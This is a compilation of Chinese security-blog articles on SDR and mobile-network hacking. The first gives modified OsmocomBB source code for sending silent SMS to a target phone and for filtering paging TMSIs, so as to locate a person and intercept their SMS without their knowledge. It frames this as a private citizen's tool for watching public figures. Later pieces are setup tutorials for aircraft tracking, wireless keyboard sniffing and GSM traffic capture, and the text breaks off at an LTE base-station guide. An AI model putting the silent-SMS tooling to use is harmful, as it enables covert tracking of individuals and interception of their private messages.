GSM Hacking:静默短信(Silent SMS)在技术侦查中的应用

Author:fl00der https://twitter.com/xdzou

GSM Hacking:The application of Silent SMS in technical investigation

GSM 基站

0x00 前言

技术侦查时我们经常需要对目标人物进行定位,监听目标人物的电话和短信。

如何做到呢?首选当然是高大上的7号信令系统(SS7)。你需要一个能够访问的支持MAP(Mobile Application Part)的SS7信令接入点,然后,你理论上就可以侦听,拦截,伪造全球任何移动用户的电话和短信了,也可以获得该手机当前接入的Cell ID从而精确定位。因为全球的电信运营商都连在一张信令网上,除非某些运营商做了信令过滤,否则不管你从哪个国家接入SS7,命令在全球运营商那里都会得到忠实执行。目前国际上常见的SS7信令接入点的租用价格是每月几千美元起,对机构来说并不是很贵。

科普:

SilentSMS:静默短信

信令系统#7(SS7:Signaling System #7)由 ITU-T 定义的一组电信协议,主要用于为电话公司提供局间信令。SS7 中采用的是公共信道信令技术(CCS:common-channel signaling),也就是带外(out-of-band)信令技术,即信令服务提供独立的分组交换网络。

MAP:Mobile Application Part (移动应用部分)七号信令的子集。用于连接分布式交换单元(MSC)和主数据库(HLR)。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时,HLR也要相应更新,用户便由网络中的其他交换机服务。

MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。

Clipboard Image.png

但我们既不是国家机器,也不是土豪,我们只是一个普通的朝阳群众,怎么低成本的推动世界和平,保卫国家安全,以及对公众人物进行监督呢?

打开世界五大王牌情报组织之一朝阳群众的野战工具箱,我们会看到很多民间自制的情报工具,本文介绍其中的Slient SMS的低成本实现方法和简单应用。

其实,Silent SMS在各国执法部门都大量使用,即使他们同时也在使用SS7,比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同,Silent SMS配合伪基站+三角定位法,开阔空间定位精度可以达到1米左右,实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术,随身携带的手机也会不知不觉的告诉我们真相。

0x01 背景知识

手机号码(MSISDN)在移动通信网上是很少进行传输的。对于移动网络来说,区别不同手机的惟一ID是IMSI(International Mobile Subscriber Identity)。MSISDN是为了方便人类而做的一个IMSI在现实世界的映射。你打电话发短信时提交的是对方的MSISDN,移动网络收到你的请求后要把MSISDN映射回IMSI,然后才能处理。你接电话收短信时对方的MSISDN也是单独发送给你的,好让你能知道知道对方是谁。

而为了保护安全和隐私,IMSI在设计上也是尽量少的在网络上传输的,通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你,在GSM网络里是TMSI(Temporary Mobile Subscriber Identity),在LTE里是S-TMSI(为了简化我们也把它称作TMSI),之后在需要身份识别的时候,都是用TMSI的。

科普:

IMSI(International Mobile Subscriber Identity,国际移动用户识别码)用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户,在全世界都是有效的。

无线网络覆盖的范围很大,如果IMSI在网络中传递时被不法分子获取,这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递,这就是TMSI(Temporary Mobile Subscriber Identity,临时移动用户标识)。采用TMSI来临时代替IMSI的目的为了加强系统的保密性,防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。

所以,在我们侦听移动通信时会发现,上行的通信请求,不管是发短信还是打通话,只能侦听到发起者的TMSI和接收者的MSISDN;而下行的通信,不管是来电话还是来短信,只能侦听到发起者的MSISDN和接收者的TMSI。这样,如果我们不能找出TMSI和MSISDN的一一对应关系,我们就没法区分出哪些短信和通话是指向我们的目标人物的。

而找出了TMSI和MSISDN的对应关系,也就能通过侦听知道目标手机当前连在哪个蜂窝基站,从而实现对目标人物的定位。

扩展阅读

关于这里提到的定位的姿势可以看《从无线电角度揭秘定位劫持》一文的基站定位部分。

0x02 原理

当有新的Mobile Terminated Services,通常是短信或来电,要传送的时候,移动网络会发起Paging。目标手机守听时发现网络在呼叫自己的TMSI,就会向网络申请一个信道,申请成功后,手机转到该信道发送呼叫响应,网络回复该呼叫响应,然后经过鉴权、加密协商等流程后,网络开始向手机传送服务,这时手机才知道来的是电话还是短信,在收到一部分服务信息后,手机开始决定是否提示用户和如何提示用户,是来电话了还是收到短信了,是振铃还是震动等。

我们试图在不惊动目标人物的情况下找出TMSI和MSISDN的对应关系,依靠的就是Paging。根据以上流程我们可以看到,如果我们电话呼叫目标手机,在一个合适的时间点,即网络上已经广播了Paging信息,但目标手机还未振铃之前及时挂断,目标手机也是没有提示的,而我们却侦听到了一次Paging。如果能按照一定的时间间隔和多次重复这个过程,我们就能从侦听到的大量Paging广播中筛查出目标TMSI。问题在于,这个合适的时延比较难把握,而且不同运营商,甚至不同区域的网络还有差异,调校起来比较费事。这时,Silent
SMS就成了我们的首选。

Silent SMS是一种特殊格式的短信,在短信报文头上设置特殊的标识位以后,接收者手机收到后不会有任何提示和反应,也不会存储短信内容,而是直接丢弃。不使用特殊技术手段无法发现手机收到了Silent SMS。向目标手机发送Silent SMS,我们会侦听到网络广播的Paging信息,但是不需要像电话呼叫那样顾虑时延和及时挂断的问题,目标手机上不会有任何提示。而且我们还可以在空中侦听到短信的完整内容,当侦听到我们自己构造的特定内容的短信可以帮我们进一步确认该TMSI就是我们的目标。

TMSI是在一个LAC(Location Area Code)/TA(Tracking Area)里有效的,每当进入一个新的LAC/TA,手机就会被网络指派一个新的TMSI。要找出的对应关系,必须侦听目标手机当前所在的LAC/TA。对我们有利的是,Paging也是在LAC/TA里有效的,除了LTE的Smart Paging。

0x03 低成本实现

朝阳群众的情报工具应该尽可能的便宜,所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB + Motorola C118/C139。

网上能找到国外黑客写的用Python调用USB短信猫发送Silent SMS,用Airprobe + RTL-SDR接收的源代码,但是硬件成本比我们的贵,最关键是代码比较散。

OsmocomBB:基于一套泄露的基带源代码重写的开源的GSM基带项目,只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整,只有90+%的源代码,部分连接库没有源代码,而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具,而不是供普通用户使用的手机系统,为了方便编写和修改,其Layer 2和3是在PC上运行的。

Motorola C118/C139:玩GSM必备,天然支持跳频,便宜,淘宝只要7元,可大量购买,接在USB Hub上,实现多路短信收发。其中,C139是彩屏,且ROM大些,是有潜力改造成用于复杂GSM攻击或工程路测,且支持中文显示和输入的黑客手机的。

具体实现上,我们需要使用两部C118/C139手机,一部用来发送Silent SMS,另一部用来侦听PCH并记录正在呼叫的TMSI。

C118(左)和C139(右)兄弟合影:

C118&C139.jpg

用来将C118/C139连接到电脑的CP2102(USB串口转换器)及2.5mm音频插头:

CP2102.jpg

0x04 如何发送Silent SMS

OsmocomBB里的mobile程序是工作在Layer 2-3,用来收发短信和接打电话的。我们就修改它来发送Silent SMS。其实,可以把C118/C139看做是最便宜的短信猫,而修改过的mobile程序就是短信群发软件。

构造Silent SMS

每个短信都有一个TP-Protocol-Identifier字段,只要设置为0x40就相当于告知接收手机忽略此短信,所以目标手机会正常接收到这条短信,但是之后既不会提示也不会保存这条短信,只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段,如果把首字节设为0xC0,接收手机同样会忽略此短信。

我们只要在发短信之前,把对应的字段做好设置,发出的就是Silent SMS了。这两个字段可以都设置,也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况,这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。

主要数据结构

为了按特定时序发送Silent SMS,我们需要一个定时器。设定好时间间隔,定时器就会被定时触发,然后调用发送函数去发送一条Silent SMS。

struct osmo_timer_list tick_timer_smsping;
struct {
    int pid;
    int dcs;
} silent_sms;

主要源代码

vty_interface.c

//新增控制台命令:silent,用于设置TP-PID和TP-DCS
DEFUN(silent, silent_cmd, "silent TP-PID TP-DCS",
    "Set SMS messages header\n"
    "1 for 0x40, 0 for default\n"
    "1 for 0xC0, 0 for default\n")
{
    int pid;
    int dcs;

    if (argc >= 1) {
        pid = atoi(argv[0]);
        dcs = atoi(argv[1]);
        if (pid) {
            silent_sms.pid = 1;
        } else {
            silent_sms.pid = 0;
        }
        if (dcs) {
            silent_sms.dcs = 1;
        } else {
            silent_sms.dcs = 0;
        }
    }

    return CMD_SUCCESS;
}

发送部分的源代码:

if(smscnt == MAX_SMS_Count){//开始批量发送
        tick_timer_smsping.cb = &sms_ping; //初始化定时器
        tick_timer_smsping.data = &timer_step;
        
        smscnt--;
        ping_sms_sca = strdup(sms_sca);
        ping_number = strdup(number);
        ping_sms_txt = strdup(argv_concat(argv, argc, 2));
        call_vty = vty;
        sms_send(ms, sms_sca, number, argv_concat(argv, argc, 2));
        vty_out(vty, "Slient SMS %d sent%s", smscnt, VTY_NEWLINE);
    }

gsm411_sms.c

struct gsm_sms *sms_from_text(const char *receiver, int dcs, const char *text)
{
    struct gsm_sms *sms = sms_alloc();

    if (!sms)
        return NULL;

    strncpy(sms->text, text, sizeof(sms->text)-1);

    sms->reply_path_req = 0;
    sms->status_rep_req = 0;
    sms->ud_hdr_ind = 0;
    if (silent_sms.pid)
        sms->protocol_id = 0x40; /* type 0 */
    else
        sms->protocol_id = 0; /* implicit */
    if (silent_sms.dcs)
        sms->data_coding_scheme = 0xC0;
    else
        sms->data_coding_scheme = dcs;
    strncpy(sms->address, receiver, sizeof(sms->address)-1);
    /* Generate user_data */
    sms->user_data_len = gsm_7bit_encode(sms->user_data, sms->text);

    return sms;
}

用来重复发送的源代码:

void sms_ping(void *data)
{
    struct osmocom_ms *ms;

    ms = get_ms("1", call_vty);
    vty_notify(ms, "ping sent");

    if(smscnt == 0){
        return 0;
    }

    sms_send(ms, ping_sms_sca, ping_number, ping_sms_txt);
    smscnt--;
    return 0;
}
static int gsm411_sms_report(struct osmocom_ms *ms, struct gsm_sms *sms,
    uint8_t cause)
{
    vty_notify(ms, NULL);
    if (!cause){
        vty_notify(ms, "SMS %d to %s successfull\n", smscnt, sms->address);
        if(smscnt != 0)
            osmo_timer_schedule(&tick_timer_smsping, 10, 0);//定时间隔10秒

    }else
        vty_notify(ms, "SMS to %s failed: %s\n", sms->address,
            get_value_string(gsm411_rp_cause_strs, cause));
    
    return 0;
}

使用mobile的命令行发送Silent SMS:

sendslientsms.jpg

使用WireShark侦听发送的短信,可以看到TP-PID和TP-DCS分别是0x40,0xC0,短信内容为“testing 1 2 3”:

sendsniff.jpg

0x05 如何筛选TMSI

OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。

在开始发送Silent SMS的时候,就立刻启动ccch_scan记录所有Paging的TMSI。通常,从开始发短信,到空中出现Paging信息,最快3秒钟,多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的,大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI,这300个里面一定有我们的目标的TMSI,通常是在前面开始部分。队列到300为止,我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。

数据结构

struct _tmsis_ {
    uint8_t     tmsi[4];
    char        cnt;
} tmsis[300];

列出TMSI的源代码

void tmsi_match(uint8_t *t)
{
    if(app_state.finding==1){
        int i;
        int f=0;
        for(i=0; i  app_state.mincnt){
                    printf("Possible TMSI: #%d, \t%s, %d times\n", i, osmo_hexdump(t,4), tmsis[i].cnt);
                }
            }
        }
        if((f==0)&&(app_state.tmsicnt<300)){//队列深度       
            app_state.tmsicnt += 1;
            memcpy(tmsis[i].tmsi,t,4);
            tmsis[i].cnt = 1;
            printf("New TMSI:#%d, %s \tTotal: %d\n", i, osmo_hexdump(t,4), app_state.tmsicnt);
        }
        return;
    }
    
    if(!memcmp(t, app_state.wanted_tmsi, 4)) {
        app_state.tmsi_matched = 1;
        printf("TMSI Match %s\n", osmo_hexdump(t,4));
    }
}

我们给ccch_scan新增加一个参数:-f paging次数。

国内不少地方为了提高接通率,当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的,有的是Paging两次,多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信,可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。

static int l23_cfg_print_help()
{
    printf("\nApplication specific\n");
    printf("  -k --kc KEY           Key to use to try to decipher DCCHs\n");
    printf("  -t --tmsi TMSI        Filter assignments with specified TMSI (paging only)\n");
    printf("  -f --count        Filter paging TMSI\n");

    return 0;
}

static int l23_cfg_handle(int c, const char *optarg)
{
    switch (c) {
    case 'k':
        if (osmo_hexparse(optarg, app_state.kc, 8) != 8) {
            fprintf(stderr, "Invalid Kc\n");
            exit(-1);
        }
        break;
    case 't':
        if (osmo_hexparse(optarg, app_state.wanted_tmsi, 4) != 4) {
            fprintf(stderr, "Invalid TMSI\n");
            exit(-1);
        }
        app_state.finding = 0;
        break;
    case 'f':
        app_state.finding = 1;
        app_state.mincnt= atoi(optarg);
        break;
    default:
        return -1;
    }
    return 0;
}

运行ccch_scan来开始筛选TMSI,我们要求程序列出Paging超过16次的TMSI:

TMSIfilter0.jpg

同时显示发送和筛选两个窗口,有的TMSI随着每次短信发送有节奏的出现,很快有一个TMSI就引起了我们的注意:818003B5,随着不断的发送短信,还不到10次短信,我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging:

TMSIfilter.jpg

我们拿出目标手机来确认一下,果然是这个TMSI。注意,为了工作方便,朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机:

TMSIResult.jpg

用WireShark来侦听目标手机接收到的短信:

receivesniff.jpg

用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信:

sniffsms.jpg

0x06 后记

手机通信安全跨着通信和计算机两个专业领域,两者都精通的安全研究人员比较少,因而一直缺少成熟好用的攻击工具。要想玩好手机安全,一定要自己动手编程,打造自己的安全工具。

本文没有涉及LTE下的TMSI筛选和手机定位,但是Paging的原理类似,而且下行的数据报文传递前也会产生Paging信息,再加上运营商的2G/3G/4G是可以互操作的,因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机,我们要玩LTE,就必须使用SDR,导致成本不够亲民。即使发送Silent SMS仍然使用C118/C139,侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分,LTE没有得到低端的黄金频段,基本集中在1900MHz和2600MHz,这样便宜的RTL-SDR也就无能为力了,玩LTE最差也要买个HackRF,但目前国产山寨HackRF质量还不稳定。。。

关于LTE下的玩法,未来找时间专文再探讨吧。

使用USRP探索无线世界 Part 1:USRP从入门到追踪飞机飞行轨迹

温馨提示:请自觉遵守无线电管理法规,依法设置和使用无线电设备

Author:雪碧0xroot @漏洞盒子安全团队 cn0xroot.github.io

0x00 前言

USRP是数款流行的SDR硬件中功能和应用都相对成熟的一款产品,从WIFI协议、ZigBee协议、RFID协议、GSM通信系统、LTE 4G通信系统到飞机通信、卫星通信USRP都能很好的进行支持。软件开发工程师可以用它开发应用,安全工程师则用它来测试、研究相关的无线通信协议。

很大一部分玩过电视棒的小伙伴都使用过电视棒+dump1090的方案实现过追踪飞机飞行轨迹这一功能。之所以能够很容易的跟踪飞机,是因为航空CNS(通信导航监视)系统里大量采用非常古老的无线标准。

dump1090

(电视棒+dump1090 2D)

Clipboard Image.png

(图片来源:http://slideplayer.com/slide/2547225

二次监视雷达(SSR)系统,地面站发射1030MHz的查询信号,飞机接收到此信号之后在1090MHz发射应答信号,信号中包含了飞机的一些信息,显示在空管的雷达屏幕上。还有空中防撞系统(TCAS),飞机可以自己发射1030MHz的查询信号,其他飞机接收到此信号之后在1090MHz发射应答信号,因此一架飞机得以”看到”周围的飞机。由于以上的查询-应答模式在飞机很多的时候显得效率不是那么高,因此新出现了一种ADS-B方式。在ADS-B中,每架飞机不等查询,主动广播自己的信息,这时监视和防撞需要做的就仅仅是接收了。

在通用航空当中ADS-B信号经常在978MHz发射,在商业飞行中ADS-B信号经常在1090MHz发射。

0x01 HardWare

PC:Ubuntu OR Mac

SDR:USRP、天线、USB数据线

USRP

0x02 Software

2.1安装pip、pybombs

apt-get update
apt-get install git
apt-get install python-pip

pip install --upgrade pip
pip install git+https://github.com/gnuradio/pybombs.git

pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git
pybombs prefix init /usr/local -a myprefix -R gnuradio-default
pybombs install gqrx gr-osmosdr uhd

以上内容是Ubuntu下安装SDR相关软件的方法,在Mac OSX中则可以使用mac port 进行安装。

2.2下载USRP镜像

使用pybombs安装完UHD(USRP Hardware Driver)后还需下载固件镜像以及FPGA镜像,执行:

python  /usr/local/lib/uhd/utils/uhd_images_downloader.py

Image

插入USRP后可执行:

uhd_find_devices

或者

uhd_usrp_probe

来查看设备信息:

Clipboard Image.png

2.3编译安装gr-air-modes:

git clone https://github.com/bistromath/gr-air-modes
cd gr-air-modes
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig

2.4 安装谷歌地球

Ubuntu 32 bit:

wget http://dl.google.com/dl/earth/client/current/google-earth-stable_current_i386.deb

Ubuntu 64 bit:

wget http://dl.google.com/dl/earth/client/current/google-earth-stable_current_amd64.deb
sudo dpkg -i google-earth-stable_current_amd64.deb

Mac osx:

wget https://dl.google.com/earth/client/advanced/current/GoogleEarthMac-Intel.dmg

Clipboard Image.png

0x03 解码飞机信号&导入谷歌Earth

cd gr-air-modes/apps/
./modex_rx -K test.kml 

执行App目录下的modex_rx,开始接收并解码来自飞机的1090MHz无线信号,-K参数即把解码到的航班号、经纬度、飞行速度等等保存为.kml文件。

打开谷歌地球:添加–>网络链接–>

Clipboard Image.png

新建链接名称,以及kml文件的绝对路径:

Clipboard Image.png

设定刷新时间,以及是否在刷新时前往该视图:

Clipboard Image.png

如果开启刷新前往视图后,google-earth会自动定位到你所在的区域并显示接收到区域上空的飞机。

Clipboard Image.png

(飞机飞行轨迹 3D)

地图上显示飞机的航班号,双击飞机图标可以显示该飞机高度、飞行速度等信息。

0x04 演示视频

http://v.qq.com/iframe/player.html?vid=e0346ll12xf&tiny=0&auto=0

0x05 refer

https://kb.ettus.com/Implementation_of_an_ADS-B/Mode-S_Receiver_in_GNU_Radio

http://www.freebuf.com/articles/wireless/77819.html

USRP B200: Exploring the Wireless World

Aircraft Tracking with Mode S: Modez & Aviation Mapper
https://media.blackhat.com/bh-us-12/Briefings/Costin/BH_US_12_Costin_Ghosts_In_Air_WP.pdf

https://www.rs-online.com/designspark/10-things-you-can-do-with-software-defined-radio

使用SDR嗅探北欧芯片无线键鼠数据包

0x01 系统安装

下载Ubuntu 16.04

0x02 搭建SDR开发环境

安装pip和pybombs

apt-get update
apt-get install git
apt-get install python-pip
pip install --upgrade pip
pip install git+https://github.com/gnuradio/pybombs.git

获取GnuRadio的安装库

pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git  
pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git

安装SDR常用软件

pybombs install osmo-sdr rtl-sdr gnuradio hackrf airspy gr-iqbal libosmo-dsp gr-osmosdr gqrx

使用pybombs安装bladeRF会报错,这里选择源码编译:

git clone https://github.com/Nuand/bladeRF
cd bladeRF/host
mkdir build
cd build
cmake ../
make
sudo make install
sudo ldconfig

0x03 编译gr-nordic

gr-nordic:GNU Radio module and Wireshark dissector for the Nordic Semiconductor nRF24L Enhanced Shockburst protocol.

git clone https://github.com/BastilleResearch/gr-nordic/
cd gr-nordic/
mkdir build
cd build/
cmake ../
make
sudo make install
sudo ldconfig

0x04 安装WireShark

apt-get install wireshark

Ubuntu系统中,访问网络端口需要root权限,而wireshark的只是/usr/share/dumpcap的一个UI,/usr/share/dumpcap需要root权限,所以没法non-root用户无法读取网卡列表。解决办法使用sudo wireshark启动抓包,但使用root权限启动wireshark就不能使用lua脚本: 解决方案:

sudo -s  
groupadd wireshark  
usermod -a -G wireshark $你的用户名  
chgrp wireshark /usr/bin/dumpcap  
chmod 750 /usr/bin/dumpcap 

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
getcap /usr/bin/dumpcap

当输出为:

/usr/bin/dumpcap = cap_net_admin,cap_net_raw+eip

1.png

即为设置生效。注销登录状态或者重启系统启用配置。

0x05 数据包捕获

1.png

gr-nordic项目中include里边包含了nordic的tx、rx、API头文件,lib文件夹则是该项目依赖的一些库文件,example文件包含了Microsoft鼠标以及扫描、嗅探使用Nordic北欧芯片键鼠的利用脚本,wireshark文件夹中则是对扫描、嗅探到的数据包进行分析所需的lua脚本。

gr-nordic$ wireshark -X lua_script:wireshark/nordic_dissector.lua -i lo -k -f udp

gr-nordic$cd example

gr-nordic/example$./nordic_sniffer_scanner.py
14748794773330

0x06 演示视频

http://v.qq.com/iframe/player.html?vid=s033112i9oj&tiny=0&auto=0

0x07 Thanks & refer

gr-nordic: GNU Radio module and Wireshark dissector for the Nordic Semiconductor nRF24L Enhanced Shockburst protocol.

孤独小白:GNU Radio教程(一)

Sniffing with Wireshark as a Non-Root User

Bastille 巴士底狱安全研究员:Marc NewlinBalint Seeber

*文章原创作者:雪碧0xroot@vulbox,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

GSM Hacking Part ① :使用SDR扫描嗅探GSM网络

http://www.freebuf.com/articles/wireless/110773.html

作者:雪碧0xroot@漏洞盒子安全团队

GSM Hacking

0x00 前言

近期,发现Crazy Danish Hacker在YouTuBe发布了一个挺不错的教程视频:使用SDR嗅探监听GSM网络的通信流量(GSM Sniffing Teaser – Software Defined Radio Series)。该教程从电视棒的安装到扫描、嗅探工具的使用、GSM流量包的捕获解密都有详细说明演示:

http://v.qq.com/iframe/player.html?vid=u0317s0mw3n

作为搬运工,在这里将分两三部分参考&总结一下该教程的主要内容,输出一篇中文教程,希望能够给对这方面感兴趣的童鞋带来一定帮助。

0x01 环境搭建

OS:GNU Radio LiveCD

HardWare:电视棒(rtl-sdr)、HackRF、Bladerf 均可

1.安装编译依赖包

sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy

2.编译gr-gsm

git clone https://github.com/ptrkrysik/gr-gsm.git
cd gr-gsm
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig 

3.编译kalibrate

kalibrate-hackrf (HackRF用户)

git clone https://github.com/scateu/kalibrate-hackrf.git
cd kalibrate-hackrf
./bootstrap
./configure
make
sudo make install

kalibrate-rtl(电视棒用户)

git clone https://github.com/steve-m/kalibrate-rtl.git
cd kalibrate-hackrf
./bootstrap
./configure
make
sudo make install

0x01 扫描基站

1.1 kal

kal 
error: must enter channel or frequency
kalibrate v0.4.1-hackrf, Copyright (c) 2010, Joshua Lackey
modified for use with hackrf devices, Copyright (c) 2014, scateu@gmail.com
Usage:
    GSM Base Station Scan:
        kal <-s band indicator> [options]

    Clock Offset Calculation:
        kal <-f frequency | -c channel> [options]

Where options are:
    -s    band to scan (GSM850, GSM-R, GSM900, EGSM, DCS, PCS) //指定扫描的网络类型&频段
    -f    frequency of nearby GSM base station
    -c    channel of nearby GSM base station
    -b    band indicator (GSM850, GSM-R, GSM900, EGSM, DCS, PCS)
    -a    rf amplifier enable
    -g    vga (bb) gain in dB, 0-40dB, 8dB step
    -l    lna (if) gain in dB, 0-62dB, 2dB step
    -d    rtl-sdr device index
    -e    initial frequency error in ppm
    -E    manual frequency offset in hz
    -v    verbose
    -D    enable debug messages
    -h    help

kal -s GSM900 -g 40 -l 40 //扫描GSM900频段

Clipboard Image.png

1.2 gr-gsm (HackRF、BladeRF)

在编译完成的gr-gsm项目中,App目录里有用于扫描、解码gsm流量的脚本:

Clipboard Image.png

Clipboard Image.png

1.3 Bladerf 配合 SDR-sharp

通过上述方式,我们获取到了基站的一些参数信息,如:中心频率、信道、ARFCN值、LAC、MCC、MNC值等。这为我们接下来的工作提供了便利。那么windows用户有其它方式来确定基站的中心频率么?
Windows用户可通过SDR-sharp的瀑布图来确认基站的工作频率,由于HackRF性能问题,查看GSM频率时瀑布图效果不明显,所以我这里用BladeRF来实现这需求。由于SDR-sharp默认不支持BladeRF硬件,首先我们需为其安装硬件驱动,详情可参考:https://github.com/jmichelp/sdrsharp-bladerf

复制Release目录中的SDRSharp.BladeRF.dll到SDR主目录;

复制GitHub项目中的LibBladeRF目录下所有dll文件到SDR主目录;
在FrontEnds.xml文件增加

<add key="BladeRF" value="SDRSharp.BladeRF.BladeRFIO,SDRSharp.BladeRF" />

Clipboard Image.png

Clipboard Image.png

在SDR-sharp中加载BladeRF的FPGA固件:

Clipboard Image.png

最终效果:

CnSzzAMUAAAttef.jpg

0x02 Sniffer 嗅探

通过扫描我们获取到了基站的中心频率、信道、ARFCN值、LAC、MCC、MNC值等参数信息:

Clipboard Image.png

上图表明在937.4MHz、940.4MHz这两个中心频率发现GSM基站信号。

ubuntu@ubuntu:~/gr-gsm/apps$ ls
CMakeLists.txt  grgsm_livemon      grgsm_livemon.py  helpers
grgsm_decode    grgsm_livemon.grc  grgsm_scanner     README

ubuntu@ubuntu:~/gr-gsm/apps$ grgsm_livemon -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc

Usage: grgsm_livemon: [options]

Options:
  -h, --help            show this help message and exit
  --args=ARGS           Set Device Arguments [default=]
  -f FC, --fc=FC        Set fc [default=939.4M]
  -g GAIN, --gain=GAIN  Set gain [default=30]
  -p PPM, --ppm=PPM     Set ppm [default=0]
  -s SAMP_RATE, --samp-rate=SAMP_RATE
                        Set samp_rate [default=2M]
  -o SHIFTOFF, --shiftoff=SHIFTOFF
                        Set shiftoff [default=400k]
  --osr=OSR             Set OSR [default=4]

我们来嗅探一下937.4MHz的基站:

grgsm_livemon -f 937.4

Clipboard Image.png

右侧终端显示成功捕获到了基站通信数据包。

0x03 Decode解密

3.1 安装WireShark

apt-get install wireshark

3.2 嗅探&解密

ubuntu@ubuntu:~/gr-gsm/apps$ ls
CMakeLists.txt  grgsm_livemon      grgsm_livemon.py  helpers
grgsm_decode    grgsm_livemon.grc  grgsm_scanner     README

ubuntu@ubuntu:~/gr-gsm/apps$ gnuradio-companion grgsm_livemon.grc

Clipboard Image.png

执行GRC流图:

Clipboard Image.png

sudo wireshark -k -Y 'gsmtap && !icmp' -i lo

捕获到的数据包如下:

Clipboard Image.png

解密方式可先参考GitHub:

Usage: Decoding How To · ptrkrysik/gr-gsm Wiki
Decoding-hopping-channels
在文章第二部分内容中,我们将使用鉴权后分配临时识别码 TMSI、KC对捕获到的GSM通信数据包进行解密。

第三部分,我们将根据gr-lte开源项目来讨论分析4G LTE基站的安全问题。(the gr-lte project is an Open Source Software Package which aims to provide a GNU Radio LTE Receiver to receive, synchronize and decode LTE signals.)

0x04 refer

https://github.com/ptrkrysik/gr-gsm/wiki/Usage

https://z4ziggy.wordpress.com/2015/05/17/sniffing-gsm-traffic-with-hackrf/

GSM Sniffing: Kalibrate-RTL Usage – Software Defined Radio Series #5

GSM Sniffing: Installing GR-GSM – Software Defined Radio Series #7

GSM Sniffing: Using GR-GSM – Software Defined Radio Series #8

*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

GnuRadio + BladeRF + OpenLTE 搭建4G LTE 基站 Part 1

本文作者:雪碧0xroot@漏洞盒子安全实验室

Clipboard Image.png

0x00 前言

在移动互联网大规模发展的背景下,智能手机的普及和各种互联网应用的流行,致使对无线网络的需求呈几何级增长,导致移动运营商之间的竞争愈发激烈。但由于资费下调等各种因素影响,运营商从用户获得的收益在慢慢减少,同时用于减少韵味和无线网络的升级投资不断增加,但收入却增长缓慢。为保证长期盈利增长,运营商必须节流。

SDR Software Define Radio 软件定义无线电可将基站信号处理功能尽量通过软件来实现,使用通用硬件平台可快速地实现信号的调制解调,编码运算,SDR为现有通信系统建设提供了全新思路,给技术研究开发降低了成本、并提供了更快的实现方式。(引用 基于开源SDR实现LTE系统对比 )

SDR是否能打破传统运营商在通信行业的垄断呢?

另外值得关注的是:国外安全大会上从数年前2G GSM攻击议题到近期的LTE 4G安全议题,基站通信安全一直备受安全爱好者关注。

Clipboard Image.png

在这一背景下,国外OpenLTE开源项目成为热门话题:

Clipboard Image.png

OpenLTE是在Linux系统下的使用GNURadio软件开发包实现的3GPP通信协议的一个开源项目,主要实现一个简单的4G基站的功能。在文章后面的内容中,我们将分享如何搭建、使用OpenLTE.

至于使用BladeRF搭建GSM基站的内容可阅读:

GSM BTS Hacking: 利用BladeRF和开源BTS 5搭建基站
GSM Hacking:使用BladeRF、树莓派、YatesBTS搭建便携式GSM基站
Demo:

IMG_0764.JPG

FreeBuf百科

2G网络是指第二代无线蜂窝电话通讯协议,是以无线通讯数字化为代表,能够进行窄带数据通讯。常见2G无线通讯协议有GSM频分多址(GPRS和EDGE和CDMA ) 传输速度很慢。

3G网络是第三代无线蜂窝电话通讯协议,主要是在2G的基础上发展了高带宽的数据通信,并提高了语音通话安全性。3G一般的数据通信带宽都在500Kb/s以上。目前3G常用的有3种标准:WCDMA、CDMA2000、TD-SCDMA,传速速度相对较快,可以很好的满足手机上网等需求。

4G网络是指第四代无线蜂窝电话通讯协议,该技术包括TD-LTE和FDD-LTE两种制式,是集3G与WLAN于一体并能够传输高质量视频图像以及图像传输质量与高清晰度电视不相上下的技术产品。 4G系统能够以100Mbps的速度下载,比拨号上网快2000倍,上传的速度也能达到20Mbps,并能够满足几乎所有用户对于无线服务的要求。

那么除去安全方面,2G、3G、4G之间有什么不同呢?对于用户而言,2G、3G、4G网络最大的区别在于传速速度不同。

给你一个秒懂的例子: 2G秒看苍老师.txt 3G秒看苍老师.jpg 4G秒看苍老师.avi:

Clipboard Image.png

0x01 环境搭建

OS:Ubuntu

